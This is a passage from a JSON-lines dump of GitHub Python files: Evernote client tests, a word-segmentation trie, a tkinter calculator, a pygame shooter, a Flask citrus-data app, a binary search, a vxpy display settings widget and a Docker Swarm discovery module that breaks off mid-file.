updated=0)\n page = NotesMetadataList(startIndex=0, totalNotes=1, notes=[n1])\n\n fake_note = EdamNote(title='title', content='content')\n client = MockMininote(token='foo', fake_notes=page, fake_get_note=fake_note)\n result = client.search('something').next()\n self.assertEqual('content', result.text)\n\n @patch('mininote.mininote.EvernoteClient')\n def test_update_note(self, MockEvernoteClient):\n \"\"\"Ensure that server call is made to update a note\"\"\"\n client = MockMininote(token='foo', fake_notes=fake_notes())\n note = client.search('foo').next()\n note.text = 'updated title with #tag'\n client.update_note(note)\n\n pargs, kwargs = client.note_store.updateNote.call_args\n self.assertEqual({'tag'}, pargs[0].tagNames)\n self.assertEqual('\"updated title with #tag\"', pargs[0].title)\n\n @patch('mininote.mininote.EvernoteClient')\n def test_delete_note(self, MockEvernoteClient):\n \"\"\"Ensure that server call is made to delete a note\"\"\"\n client = MockMininote(token='foo', fake_notes=fake_notes())\n\n n1 = client.search('foo').next()\n client.delete_note(n1)\n\n pargs, kwargs = client.note_store.deleteNote.call_args\n self.assertEqual(101, pargs[0])\n\nclass TestMininoteUtilities(TestCase):\n \"\"\"Test mininote utilities\"\"\"\n\n def test_decode_note(self):\n \"\"\"Ensure that content is extracted\"\"\"\n escape_test = \"\"\"\n \n <hello>\"\"\"\n self.assertEquals('', decode_note_text(escape_test))\n\n html_test = \"\"\"\n \n \n

    Enumerations

    \n
    \n

    Enumeration: PrivilegeLevel

    \n This enumeration defines the possible permission levels for a user. Free accounts will have a level of NORMAL and paid Premium accounts will have a level of PREMIUM.

    \n \n \n \n \n \n
    NORMAL1
    \n
    \n

    \n

    \n
    \n \"\"\"\n self.assertEquals('EnumerationsEnumeration: PrivilegeLevelThis enumeration defines the possible permission levels for a user. Free accounts will have a level of NORMAL and paid Premium accounts will have a level of PREMIUM.NORMAL1', decode_note_text(html_test))\n\n symbol_test = \"\"\"\n \n \\xc3\\x9f\"\"\"\n self.assertEquals('\\xc3\\x9f', decode_note_text(symbol_test))\n\n def test_encode_note(self):\n \"\"\"Ensure that xml characters are escaped\"\"\"\n self.assertTrue('hello world' in encode_note_text('hello world'))\n self.assertTrue('<div>note&\"' in encode_note_text('
    note&\"'))\n\n def test_convert_evernote(self):\n \"\"\"Test that an Evernote note is converted to a Mininote note\"\"\"\n note = convert_to_enote(Note(text=' content ', guid=123, created_time=1),\n notebook_guid='guid')\n self.assertEqual(123, note.guid)\n self.assertEqual('\" content \"', note.title)\n self.assertEqual(1000, note.created)\n self.assertEqual('guid', note.notebookGuid)\n\n def test_convert_evernote_trunc(self):\n \"\"\"Test that note size is truncated if too long for Evernote\"\"\"\n note = convert_to_enote(Note(text='x' * 1000))\n self.assertEqual('\"{}\"'.format('x' * 253), note.title)\n\n def test_convert_evernote_empty(self):\n \"\"\"Test that empty note is converted\"\"\"\n note = convert_to_enote(Note(text=''))\n self.assertEqual('\"\"', note.title)\n\n def test_convert_mininote(self):\n \"\"\"Test that a note is converted to Mininote format\"\"\"\n note = convert_to_mininote(NoteMetadata(title='\"content\"', updated=1000, created=1000, guid=123), None)\n self.assertEqual(123, note.guid)\n self.assertEqual('content', note.text)\n self.assertEqual(1, note.created_time)\n\n def test_convert_mininote_empty_note(self):\n \"\"\"Test that an empty note is converted to Mininote format\"\"\"\n note = convert_to_mininote(NoteMetadata(title='\"\"', updated=1000, created=1000), None)\n self.assertEqual('', note.text)\n\n def test_convert_mininote_long_note(self):\n \"\"\"Test that a long note is converted to Mininote format\"\"\"\n note = convert_to_mininote(NoteMetadata(title='\"\"', updated=1000, created=1000),\n EdamNote(content=encode_note_text('longer note')))\n self.assertEqual('longer note', note.text)\n","repo_name":"shalmanasar/mininote","sub_path":"mininote/tests/test_mininote.py","file_name":"test_mininote.py","file_ext":"py","file_size_in_byte":8466,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"77"} +{"seq_id":"54945223","text":"# -*- coding: utf-8 -*-\n# __author__ = chenchiyuan\n\nfrom __future__ import division, unicode_literals, print_function\nfrom max_match import Segment as NewSegment\n\n# TODO 算法有点小瑕疵,仔细思考下。\nSAFE_END = u'絅'\n\nclass WordDict(dict):\n _special = {\n '#': ['1', '2', '3', '4', '5', '6', '7', '8', '9', '0'],\n }\n def has_key(self, k):\n exists = super(WordDict, self).has_key(k)\n extras = []\n for special in self._special:\n if super(WordDict, self).has_key(special):\n extra = k in self._special[special]\n extras.append(extra)\n return any(extras) or exists\n\nclass Word(object):\n def __init__(self):\n self.words = WordDict()\n self.stack = []\n\n def push(self, word):\n self.stack.insert(0, word)\n\n def clean(self):\n self.stack = []\n\n def get_word(self):\n if not self.stack:\n result = ''\n else:\n result = self.stack[0]\n self.clean()\n return result\n\n def add(self, words):\n if not words:\n self.words[SAFE_END] = True\n return\n\n exists = self.words.has_key(words[0])\n if exists:\n child = self.words[words[0]]\n child.add(words[1:])\n else:\n new_word = Word()\n self.words[words[0]] = new_word\n new_word.add(words[1:])\n\n def find(self, words, num=0):\n if num >= len(words):\n self.clean()\n return 1\n\n word = words[num]\n if self.words.has_key(SAFE_END):\n self.push(word[:num])\n\n if self.words.has_key(word):\n child = self.words.get(word, self)\n if child == self:\n self.push(word[:num])\n \n return child.find(words, num+1)\n else:\n if self.words.has_key(SAFE_END):\n return num or 1\n else:\n return len(self.get_word()) or 1\n\nclass SegmentDummy(object):\n def __init__(self):\n self.word = Word()\n\n def add(self, words):\n if isinstance(words, basestring):\n words = [words, ]\n for word in words:\n self.word.add(word)\n\n def find(self, words):\n num = self.word.find(words)\n return words[:num], num\n\n def seg_text(self, words):\n words += SAFE_END\n word = True\n while word:\n word, num = self.find(words)\n words = words[num:]\n yield word\n\ndef test():\n word1 = u\"土耳其\"\n word2 = u'伊斯坦布尔'\n word3 = u'土耳其伊斯兰教'\n word4 = u'伊斯兰'\n seg = NewSegment()\n seg.add([word1, word2, word3, word4])\n for i in seg.seg_text(u'伊斯坦布尔位于土耳其伊斯坦堡'):\n if len(i) > 1:\n print(i)\n\nSegment = NewSegment","repo_name":"chenchiyuan/shadow","sub_path":"shadow/contribs/mmseg.py","file_name":"mmseg.py","file_ext":"py","file_size_in_byte":2498,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"9577335401","text":"# Develop a tkinter gui that will allow the user to enter two numbers and then perform addition, subtraction, multiplication, and division on the two numbers. The user should be able to select which operation to perform by clicking on a button. The result should be displayed in a label. The user should be able to clear the entry fields and the result label by clicking on a button. The user should be able to exit the program by clicking on a button.\n\n# Import tkinter\nimport tkinter as tk\n\n# Create a class\nclass Calculator:\n # Create a constructor\n def __init__(self):\n # Create a window\n self.window = tk.Tk()\n self.window.geometry(\"400x200\")\n # Set the title\n self.window.title(\"Two number Calculator\")\n # Create a frame\n self.frame = tk.Frame(self.window)\n # Create a label\n self.label1 = tk.Label(self.frame, text = \"Enter a number:\")\n # Create a label\n self.label2 = tk.Label(self.frame, text = \"Enter a number:\")\n # Create a label\n self.label3 = tk.Label(self.frame, text = \"Result:\")\n # Create an entry\n self.entry1 = tk.Entry(self.frame)\n # Create an entry\n self.entry2 = tk.Entry(self.frame)\n # Create an entry\n self.entry3 = tk.Entry(self.frame)\n # Create a button\n self.button1 = tk.Button(self.frame, text = \"Add\", command = self.add)\n # Create a button\n self.button2 = tk.Button(self.frame, text = \"Subtract\", command = self.subtract)\n # Create a button\n self.button3 = tk.Button(self.frame, text = \"Multiply\", command = self.multiply)\n # Create a button\n self.button4 = tk.Button(self.frame, text = \"Divide\", command = self.divide)\n # Create a button\n self.button5 = tk.Button(self.frame, text = \"Clear\", command = self.clear)\n # Create a button\n self.button6 = tk.Button(self.frame, text = \"Exit\", command = self.exit)\n # Create a grid\n self.label1.grid(row = 0, column = 0)\n self.label2.grid(row = 1, column = 0)\n self.label3.grid(row = 2, column = 0)\n self.entry1.grid(row = 0, column = 1)\n self.entry2.grid(row = 1, column = 1)\n self.entry3.grid(row = 2, column = 1)\n self.button1.grid(row = 0, column = 2)\n self.button2.grid(row = 1, column = 2)\n self.button3.grid(row = 2, column = 2)\n self.button4.grid(row = 3, column = 2)\n self.button5.grid(row = 4, column = 2)\n self.button6.grid(row = 5, column = 2)\n # Create a grid\n self.frame.grid()\n # Create a main loop\n tk.mainloop()\n # Create a method\n def add(self):\n num1 = float(self.entry1.get())\n num2 = float(self.entry2.get())\n result = num1 + num2\n self.entry3.delete(0, tk.END) \n self.entry3.insert(0, result)\n # Create a method\n def subtract(self):\n # Create a variable\n num1 = float(self.entry1.get())\n # Create a variable\n num2 = float(self.entry2.get())\n # Create a variable\n result = num1 - num2\n # Create a variable\n self.entry3.delete(0, tk.END)\n # Create a variable\n self.entry3.insert(0, result)\n # Create a method\n def multiply(self):\n # Create a variable\n num1 = float(self.entry1.get())\n # Create a variable\n num2 = float(self.entry2.get())\n # Create a variable\n result = num1 * num2\n # Create a variable\n self.entry3.delete(0, tk.END)\n # Create a variable\n self.entry3.insert(0, result)\n # Create a method\n def divide(self):\n # Create a variable\n num1 = float(self.entry1.get())\n # Create a variable\n num2 = float(self.entry2.get())\n # Create a variable\n result = num1 / num2\n # Create a variable\n self.entry3.delete(0, tk.END)\n # Create a variable\n self.entry3.insert(0, result)\n # Create a method\n def clear(self):\n # Create a variable\n self.entry1.delete(0, tk.END)\n # Create a variable\n self.entry2.delete(0, tk.END)\n # Create a variable\n self.entry3.delete(0, tk.END)\n # Create a method\n def exit(self):\n # Create a variable\n self.window.destroy()\n\n#Main implementation\nif __name__ == \"__main__\":\n # Create an object\n calc = Calculator()","repo_name":"Snehanjan2001/dbms-assignment0","sub_path":"ass0.py","file_name":"ass0.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"19173660301","text":"import sys\nimport time\n\nimport pygame\n\nfrom src.ships import Ship_Player, Ship_AI_Enemy, Fleet_Enemy\nfrom src.stars import Stars\nfrom src.utils import draw_msg\n\n\nclass Start_Dust:\n\n def __init__(self):\n \"\"\"Set up some important things and start the game.\"\"\"\n pygame.init()\n # game's title\n title = \"StartDust\"\n # screen's size\n self.screen_size = (900, 500)\n\n # open window and set title\n self.screen = pygame.display.set_mode(self.screen_size)\n pygame.display.set_caption(title)\n\n # times to know when draw 'game over' message\n self.time_msg = time.time()\n self.time_wait_msg = time.time()\n\n # black\n self.background_color = (0, 0, 0)\n\n # background sound's path\n sound_path = \"sounds/DST-AngryMod.mp3\"\n\n # load music, set volume and play it in a loop\n pygame.mixer.music.load(sound_path)\n pygame.mixer.music.set_volume(1)\n pygame.mixer.music.play(-1)\n\n # flag to know whether or not the game has started\n self.running = False\n\n # first bullet's path and location in the image\n self.bullet1_path = \"images/Bullet2.bmp\"\n self.bullet1_location = (64, 1, 5, 10)\n\n # stars of brackground\n self.stars = Stars(self.screen)\n\n # frames per seconds\n self.fps = 60\n\n # there are just three levels\n self.level = 0\n\n # hide cursor\n pygame.mouse.set_visible(False)\n\n # pygame's clock\n self.clock = pygame.time.Clock()\n\n # run the game\n self.run()\n\n\n def run(self):\n \"\"\"Run the game.\"\"\"\n while True:\n # set fps\n self.clock.tick(self.fps)\n\n # handle events\n self.manage_events()\n\n # process all objects\n self.process()\n\n # draw all game's objects\n self.update_screen()\n\n\n def process(self):\n \"\"\"\n Every object of the game does whatever is was created to do.\n \"\"\"\n self.stars.process()\n\n if self.running:\n self.ship.process(self.fleet_enemy, self.fleet_ai_enemy, self.close)\n self.fleet_enemy.process(self.ship, self.level)\n self.fleet_ai_enemy.process(self.ship, self.level, ai_ships=True)\n\n # if all enemies ships are destroyed:\n if not self.fleet_enemy.ships and not self.fleet_ai_enemy.ships:\n\n if not self.level >= 5:\n # level up\n self.level += 1\n\n if not self.level >= 5:\n # make fleets again\n self.fleet_enemy.make_ship(self.screen, self.bullet1_path, self.bullet1_location, level=self.level)\n self.fleet_ai_enemy.make_ship(self.screen, self.bullet1_path, self.bullet1_location, ai_ships=True, level=self.level)\n else:\n self.reset_level()\n\n\n def manage_events(self):\n \"\"\"\n Manage event like use closing the game, pressing the\n key arrows, etc.\n \"\"\"\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n self.close()\n elif event.type == pygame.KEYDOWN:\n if not self.running:\n self.start_game(event)\n else:\n self.ship.check_keydown(event)\n elif event.type == pygame.KEYUP and self.running:\n self.ship.check_keyup(event)\n\n\n def update_screen(self):\n \"\"\"\n Update the screen drawing all the objects of the game on it.\n \"\"\"\n self.screen.fill(self.background_color)\n self.stars.render()\n\n if self.running:\n # draw 'game over' message if ship is destroyed\n if self.ship.destroyed:\n self.show_msg(\"Game Over\", 60, (350, 180))\n\n # whether player has won\n if self.level >= 5:\n self.show_msg(\"You have won\", 60, (310, 190))\n\n # draw level\n draw_msg(\"Level {}\".format(self.level), self.screen, 30, (420, 0))\n\n # render game's objects\n self.ship.render()\n self.fleet_enemy.render()\n self.fleet_ai_enemy.render()\n\n else:\n draw_msg(\"Start\", self.screen, 60)\n\n pygame.display.flip()\n\n def start_game(self, event):\n \"\"\"If enter key has been pressed, start game.\"\"\"\n if event.key == pygame.K_RETURN:\n self.running = True\n self.init_ships()\n\n\n def show_msg(self, msg, size, pos):\n \"\"\"Draw 'Game Over' on screen for a second.\"\"\"\n if self.time_msg < self.time_wait_msg:\n self.time_msg = time.time() + 3\n else:\n self.time_wait_msg = time.time()\n\n # draw message\n draw_msg(msg, self.screen, size, pos)\n\n if self.time_wait_msg >= self.time_msg:\n self.running = False\n\n\n def init_ships(self):\n \"\"\"Instance all game's object.\"\"\"\n # player's ship\n self.ship = Ship_Player(self.screen, self.bullet1_path, self.bullet1_location)\n # enemy fleet\n self.fleet_enemy = Fleet_Enemy(self.screen, self.bullet1_path, self.bullet1_location)\n # ai enemy fleet\n self.fleet_ai_enemy = Fleet_Enemy(self.screen, self.bullet1_path, self.bullet1_location, ai_ships=True)\n\n\n def reset_level(self):\n \"\"\"Set level to its initial value.\"\"\"\n self.level = 0\n\n\n def close(self):\n \"\"\"Close game.\"\"\"\n pygame.quit()\n sys.exit()\n\n\n\nif __name__ == \"__main__\":\n start_dust = Start_Dust()\n","repo_name":"YeisonValero0o141/stardust","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":5628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16830097332","text":"from flask import Flask, render_template\n\napp = Flask(__name__)\napplication = app\n\nimport csv\n\ndef convert_to_dict(filename):\n datafile = open(filename, newline='')\n my_reader = csv.DictReader(datafile)\n list_of_dicts = list(my_reader)\n datafile.close()\n return list_of_dicts\n\ncounty_list = convert_to_dict(\"county.csv\")\n\npairs_list = []\nfor r in county_list:\n pairs_list.append((r['County'], r['Name']))\n\n@app.route('/')\ndef index():\n return render_template('index.html', pairs = pairs_list, the_title=\"Florida Citrus Industry from 2002 to 2021\")\n\n@app.route('/county/')\ndef detail(num):\n try:\n county_dict = county_list[int(num)-1]\n except:\n return f\"

    Invalid value for county: {num}

    \"\n return render_template('county.html', county=county_dict, the_title=county_dict['Name'])\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"khill1121/final1","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"20523916557","text":"from __future__ import absolute_import\n\nfrom examples.quantum.quantum_common import common\n\ndef fun_v(ts, coor, mode=None, **kwargs):\n from numpy import zeros_like\n\n if not mode == 'qp': return\n\n out = {}\n val = zeros_like(coor[:,0])\n\n val.shape = (val.shape[0], 1, 1)\n out['V'] = val\n return out\n\ndef define(n_eigs=10, tau=0.0):\n l = common(fun_v, n_eigs=n_eigs, tau=tau)\n return l\n","repo_name":"zbzhen/PycharmProjects","sub_path":"sfepyexmples/examples/quantum/well.py","file_name":"well.py","file_ext":"py","file_size_in_byte":410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16234230093","text":"import math\n\n\ndef solve(ls, fd, start, end):\n\t\"\"\"\n\t递归进行二分查找\n\t:param ls: 数组\n\t:param fd: 待查元素\n\t:param start: 起始下标\n\t:param end: 结束下标\n\t:return: 递归调用或boolean\n\t\"\"\"\n\tflag = math.floor((start + end) / 2)\n\tif ls[flag] == find:\n\t\treturn True\n\tif start >= end:\n\t\treturn False\n\treturn solve(ls, fd, start, flag - 1) if ls[flag] > find else solve(ls, fd, flag + 1, end)\n\n\nif __name__ == '__main__':\n\tinput_list = input().split(' ')\n\tfind = input()\n\ttry:\n\t\tinput_list = [int(i) for i in input_list]\n\t\tfind = int(find)\n\texcept:\n\t\tprint('输入的值有误')\n\t\texit()\n\tinput_list.sort()\n\tprint(solve(input_list, find, 0, len(input_list) - 1))\n","repo_name":"jeferwang/InterviewQuestion","sub_path":"经典算法/二分查找.py","file_name":"二分查找.py","file_ext":"py","file_size_in_byte":681,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"70559842809","text":"from __future__ import annotations\n\nfrom typing import Dict\n\nimport yaml\nfrom PySide6 import QtCore, QtGui, QtWidgets\nfrom PySide6.QtWidgets import QApplication\nfrom vxpy import config, configuration\nfrom vxpy import utils\nfrom vxpy.modules.display import Canvas\nfrom vxpy.utils import widgets\nimport vxpy.extras\n\n\nclass DisplayManager(QtWidgets.QWidget):\n instance: DisplayManager = None\n # Create canvas\n canvas = Canvas(always_on_top=False)\n\n def __init__(self, *args, **kwargs):\n QtWidgets.QWidget.__init__(self, *args, **kwargs)\n\n DisplayManager.instance = self\n self.setLayout(QtWidgets.QHBoxLayout())\n\n # Set layout\n self.window_settings = WindowSettings(parent=self)\n self.layout().addWidget(self.window_settings)\n\n self.canvas_timer = QtCore.QTimer(self)\n self.canvas_timer.setInterval(50)\n self.canvas_timer.timeout.connect(self.trigger_on_draw)\n self.canvas_timer.start()\n\n self.update_canvas()\n\n @classmethod\n def update_canvas(cls):\n if cls.instance.canvas is None:\n print('ERROR: no canvas set')\n return\n cls.instance.canvas.clear()\n cls.instance.canvas.update_dimensions()\n cls.instance.canvas.update(None)\n\n def trigger_on_draw(self):\n self.canvas.on_draw(event=None)\n\n\nclass WindowSettings(QtWidgets.QGroupBox):\n\n def __init__(self, *args, **kwargs):\n QtWidgets.QGroupBox.__init__(self, 'Fullscreen selection (double click)', *args, **kwargs)\n\n self.setLayout(QtWidgets.QHBoxLayout())\n self.screen_painter = ScreenPainter(parent=self)\n self.layout().addWidget(self.screen_painter)\n\n # Add parameter widgets\n self.parameters = QtWidgets.QGroupBox('Window parameters', parent=self)\n self.parameters.setLayout(QtWidgets.QVBoxLayout())\n self.layout().addWidget(self.parameters)\n label_width = widgets.UniformWidth()\n edit_width = widgets.UniformWidth()\n self.screen_id = widgets.IntSliderWidget(parent=self.parameters, label='DISPLAY_WIN_SCREEN_ID',\n default=0, limits=(0, 10), step_size=1)\n label_width.add_widget(self.screen_id.label)\n edit_width.add_widget(self.screen_id.spinner)\n self.screen_id.connect_callback(self.set_parameter_callback('DISPLAY_WIN_SCREEN_ID'))\n self.parameters.layout().addWidget(self.screen_id)\n self.x_pos = widgets.IntSliderWidget(parent=self.parameters, label='DISPLAY_WIN_POS_X',\n default=0, limits=(-10 ** 4, 10 ** 4), step_size=1)\n label_width.add_widget(self.x_pos.label)\n edit_width.add_widget(self.x_pos.spinner)\n self.x_pos.connect_callback(self.set_parameter_callback('DISPLAY_WIN_POS_X'))\n self.parameters.layout().addWidget(self.x_pos)\n self.y_pos = widgets.IntSliderWidget(parent=self.parameters, label='DISPLAY_WIN_POS_Y',\n default=0, limits=(-10 ** 4, 10 ** 4), step_size=1)\n label_width.add_widget(self.y_pos.label)\n edit_width.add_widget(self.y_pos.spinner)\n self.y_pos.connect_callback(self.set_parameter_callback('DISPLAY_WIN_POS_Y'))\n self.parameters.layout().addWidget(self.y_pos)\n self.win_width = widgets.IntSliderWidget(parent=self.parameters, label='DISPLAY_WIN_SIZE_WIDTH_PX',\n default=400, limits=(1, 10 ** 4), step_size=1)\n label_width.add_widget(self.win_width.label)\n edit_width.add_widget(self.win_width.spinner)\n self.win_width.connect_callback(self.set_parameter_callback('DISPLAY_WIN_SIZE_WIDTH_PX'))\n self.parameters.layout().addWidget(self.win_width)\n self.win_height = widgets.IntSliderWidget(parent=self.parameters, label='DISPLAY_WIN_SIZE_HEIGHT_PX',\n default=400, limits=(1, 10 ** 4), step_size=1)\n label_width.add_widget(self.win_height.label)\n edit_width.add_widget(self.win_height.spinner)\n self.win_height.connect_callback(self.set_parameter_callback('DISPLAY_WIN_SIZE_HEIGHT_PX'))\n self.parameters.layout().addWidget(self.win_height)\n\n self.parameters.layout().addItem(QtWidgets.QSpacerItem(1, 1,\n QtWidgets.QSizePolicy.Policy.MinimumExpanding,\n QtWidgets.QSizePolicy.Policy.MinimumExpanding))\n\n self.timer = QtCore.QTimer(parent=self)\n self.timer.timeout.connect(self.update_parameters)\n self.timer.setInterval(100)\n self.timer.start()\n\n def update_parameters(self):\n parameters: Dict[str, widgets.IntSliderWidget] = {'DISPLAY_WIN_SCREEN_ID': self.screen_id,\n 'DISPLAY_WIN_POS_X': self.x_pos,\n 'DISPLAY_WIN_POS_Y': self.y_pos,\n 'DISPLAY_WIN_SIZE_WIDTH_PX': self.win_width,\n 'DISPLAY_WIN_SIZE_HEIGHT_PX': self.win_height}\n current_config_dict = configuration.get_configuration_data()\n for name, w in parameters.items():\n w.set_value(current_config_dict[name])\n\n def set_parameter_callback(self, name):\n def _parameter_callback(value):\n configuration.set_configuration_data({name: value})\n\n return _parameter_callback\n\n\nclass ScreenPainter(QtWidgets.QWidget):\n\n def __init__(self, *args, **kwargs):\n QtWidgets.QWidget.__init__(self, *args, **kwargs)\n self.setMinimumSize(400, 400)\n # self.setMaximumSize(1000, 1000)\n self.setSizePolicy(QtWidgets.QSizePolicy.Policy.MinimumExpanding, QtWidgets.QSizePolicy.Policy.MinimumExpanding)\n\n self.painter = QtGui.QPainter()\n\n def mouseDoubleClickEvent(self, ev, *args, **kwargs):\n for screen_id, screen in enumerate(QApplication.instance().screens()):\n screen_rect = self.get_screen_rect(screen)\n\n # Check if clicked position is contained in screen rect\n if screen_rect.contains(QtCore.QPoint(ev.pos().x(), ev.pos().y())):\n # Set to fullscreen if it is contained\n self.set_fullscreen(screen_id)\n\n def set_fullscreen(self, screen_id):\n print(f'Set display to fullscreen on screen {screen_id}')\n\n screen = QApplication.instance().screens()[screen_id]\n px_ratio = screen.devicePixelRatio()\n config.DISPLAY_WIN_SCREEN_ID = screen_id\n config.DISPLAY_WIN_POS_X = screen.geometry().x()\n config.DISPLAY_WIN_POS_Y = screen.geometry().y()\n config.DISPLAY_WIN_SIZE_WIDTH_PX = int(screen.geometry().width() * px_ratio)\n config.DISPLAY_WIN_SIZE_HEIGHT_PX = int(screen.geometry().height() * px_ratio)\n\n # QApplication.instance().processEvents()\n\n DisplayManager.canvas.update_dimensions()\n\n def get_common_dim(self):\n return min(self.width(), self.height()) - 120\n\n def paintEvent(self, event: QtGui.QPaintEvent) -> None:\n # Start\n self.painter.begin(self)\n\n xmin, xmax, ymin, ymax = self.get_screenspace()\n xrange, yrange = xmax - xmin, ymax - ymin\n screenspace_aspect = xrange / yrange\n scale = self.get_common_dim()\n\n screenspace_rect = QtCore.QRect(10, 10 / screenspace_aspect,\n scale + 100, (scale + 100) / screenspace_aspect)\n\n # Painter format\n self.painter.setPen(QtGui.QColor(255, 255, 255))\n # Paint rect\n self.painter.setBrush(QtCore.Qt.BrushStyle.Dense4Pattern)\n self.painter.drawRect(screenspace_rect)\n # self.painter.setFont(QtGui.QFont('Decorative', 10))\n # self.painter.drawText(screenspace_rect, QtCore.Qt.AlignmentFlag.AlignTop, f'Screenspace')\n\n # Paint screen\n self.painter.setFont(QtGui.QFont('Decorative', 14))\n for screen_id, screen in enumerate(QApplication.instance().screens()):\n screen_rect = self.get_screen_rect(screen)\n self.painter.setPen(QtGui.QColor(255, 0, 0))\n self.painter.setBrush(QtCore.Qt.BrushStyle.Dense4Pattern)\n self.painter.drawRect(screen_rect)\n self.painter.drawText(screen_rect, QtCore.Qt.AlignmentFlag.AlignCenter, f'Screen {screen_id}')\n\n # End\n self.painter.end()\n\n def get_screenspace(self):\n xbounds = []\n ybounds = []\n # Go through all screens and gauge the bounds\n for screen in QApplication.instance().screens():\n geo = screen.geometry()\n px_ratio = screen.devicePixelRatio()\n\n xbounds.append(geo.x())\n xbounds.append(geo.x() + geo.width() * px_ratio)\n\n ybounds.append(geo.y())\n ybounds.append(geo.y() + geo.height() * px_ratio)\n\n # Set bounds\n xmin = min(xbounds)\n xmax = max(xbounds)\n ymin = min(ybounds)\n ymax = max(ybounds)\n\n return xmin, xmax, ymin, ymax\n\n def get_screen_dims(self, screen: QtGui.QScreen):\n geo = screen.geometry()\n px_ratio = screen.devicePixelRatio()\n return geo.x(), geo.y(), geo.width() * px_ratio, geo.height() * px_ratio\n\n def get_screen_rect(self, screen: QtGui.QScreen):\n\n xmin, xmax, ymin, ymax = self.get_screenspace()\n xrange, yrange = xmax - xmin, ymax - ymin\n screenspace_aspect = xrange / yrange\n scale = self.get_common_dim()\n\n x, y, width, height = self.get_screen_dims(screen) # self.get_screen(QApplication.instance().screens()[1])\n xnorm = (x - xmin) / xrange\n ynorm = (y - ymin) / yrange\n wnorm = width / xrange\n hnorm = height / yrange\n\n screen_rect = QtCore.QRect(xnorm * scale + 60,\n (ynorm * scale + 60) / screenspace_aspect,\n wnorm * scale,\n hnorm * scale / screenspace_aspect)\n\n return screen_rect\n","repo_name":"thladnik/vxPy","sub_path":"vxpy/configuration/config_manager/config_manager_display.py","file_name":"config_manager_display.py","file_ext":"py","file_size_in_byte":10169,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"} +{"seq_id":"26632185641","text":"# coding=utf-8\nimport re\nimport logger\nimport netutils\nimport docker\nfrom docker_discovery_by_restful_api import DockerDiscoverer\n\n\nclass DockerSwarmDiscoverer(DockerDiscoverer):\n def __init__(self, client, endpoint, ip, Framework, usedHttpProtocol, uriId):\n DockerDiscoverer.__init__(self, client, endpoint, ip, Framework)\n self.swarmClusterObj = None\n self.imageDictOnNode = {}\n self.usedHttpProtocol = usedHttpProtocol\n self.uriId = uriId\n\n\n def discoverDocker(self):\n labelList = []\n versionJson = self.client.dockerVersion()\n if versionJson:\n node = docker.Node(self.ip)\n # Swarm Daemon\n dockerSwarmDaemon = docker.DockerSwarmDaemon(self.endpoint)\n dockerSwarmDaemon.version = versionJson['Version']\n dockerSwarmDaemon.dockerNodeObj = node\n dockerSwarmDaemon.usedHttpProtocol = self.usedHttpProtocol\n dockerSwarmDaemon.uriId = self.uriId\n # Swarm Cluster\n dockerSwarmCluster = docker.DockerSwarmCluster(self.endpoint)\n dockerSwarmCluster.version = versionJson['Version']\n dockerSwarmCluster.dockerSwarmDaemonObj = dockerSwarmDaemon\n self.swarmClusterObj = dockerSwarmCluster\n\n dockerSwarmDaemon.dockerSwarmClusterObj = dockerSwarmCluster\n\n infoJson = self.client.dockerInfo()\n if infoJson:\n if infoJson['Labels']:\n for labelKey in infoJson['Labels']:\n labelString = labelKey + infoJson['Labels'][labelKey]\n labelList.append(labelString)\n dockerSwarmDaemon.labelList = labelList\n totalNum = -1\n nextNode = False\n # Here the response from swarm API is ugly:\n # [\"\\bNodes\",\"2\"],\n # [\"Node1\",\"Endpoint1\"],\n # [\" └ Status\",\"Healthy\"],\n # [\" └ Containers\",\"3\"],\n # [\" └ Reserved CPUs\",\"0 / 4\"],\n # [\" └ Reserved Memory\",\"0 B / 8.187 GiB\"],\n # [\" └ Labels\",\"executiondriver=native-0.2, kernelversion=3.19.0-31-generic, operatingsystem=Ubuntu 15.04, storagedriver=aufs\"],\n # [\" └ Error\",\"(none)\"],\n # [\" └ UpdatedAt\",\"2016-06-07T02:51:42Z\"],\n # [\"Node2\",\"Endpoint2\"],\n # [\" └ Status\",\"Healthy\"],\n # [\" └ Containers\",\"3\"],\n # [\" └ Reserved CPUs\",\"0 / 2\"],\n # [\" └ Reserved Memory\",\"0 B / 4.054 GiB\"],\n # [\" └ Labels\",\"executiondriver=native-0.2, kernelversion=3.13.0-74-generic, operatingsystem=Ubuntu 14.04 LTS, storagedriver=aufs\"],\n # [\" └ Error\",\"(none)\"],\n # [\" └ UpdatedAt\",\"2016-06-07T02:52:01Z\"]\n # It is an array, have to check according to the index.\n for infoArray in infoJson['DriverStatus']:\n totalNum += 1\n if infoArray[0].find('Nodes') != -1:\n nextNode = True\n totalNum = 0\n continue\n if nextNode and (totalNum - 1) % 8 == 0:\n logger.debug('Node is: ', infoArray[0])\n nodeName = infoArray[0]\n dockerDaemonEndpoint = infoArray[1]\n nodeIp = dockerDaemonEndpoint.split(':')[0]\n self._getDockerDaemon(dockerSwarmCluster, nodeIp, dockerDaemonEndpoint, nodeName)\n self.imageDictOnNode[nodeName] = {}\n\n return dockerSwarmDaemon\n\n\n def _getDockerDaemon(self, dockerSwarmCluster, nodeIp, dockerDaemonEndpoint, nodeName=None):\n\n node = docker.Node(nodeIp)\n node.setName(nodeName)\n dockerObj = docker.Docker()\n dockerObj.dockerNodeObj = node\n dockerDaemon = docker.DockerDaemon('Docker Daemon')\n dockerDaemon.dockerObj = dockerObj\n dockerDaemon.dockerNodeObj = node\n\n dockerSwarmCluster.dockerDaemonObjs[dockerDaemonEndpoint] = dockerDaemon\n self.dockerDaemonObj = dockerDaemon\n self.imageNodeObj = node\n\n def discoverImage(self):\n Images = []\n for (daemon, dockerDaemonObj) in 